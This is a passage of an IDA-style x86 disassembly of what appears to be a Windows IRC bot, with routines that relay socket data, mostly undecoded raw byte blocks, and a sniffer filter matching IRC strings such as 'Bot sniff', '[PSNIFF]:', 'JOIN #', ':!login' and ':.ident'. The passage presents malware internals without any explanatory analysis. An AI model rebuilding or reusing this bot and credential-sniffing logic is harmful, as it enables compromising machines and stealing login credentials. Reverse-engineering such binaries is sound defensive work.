loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E70DE890h, 4D8B0226h, 34C969C8h, 3B000002h,	248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	26E665E8h
		dd 0EDEB9002h, 0EECCE890h, 8D500226h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22CE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 0E85359FFh,	22CE17Ch
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Ch
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022CDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
; ---------------------------------------------------------------------------
		fild	qword ptr [edx+eax]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	226E1C6h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0E100E800h, 0FF900226h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0E0CCE890h, 8D530226h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch
		dd 2218E0Fh, 88A00000h,	8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22CDA1Ch, 3E868h, 0C3E89000h
		dd 570226DDh, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 0DCA8E890h, 15FF0226h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 0E8006A59h, 22CD4A0h
		db 90h
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Ch, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022CD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Ch, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
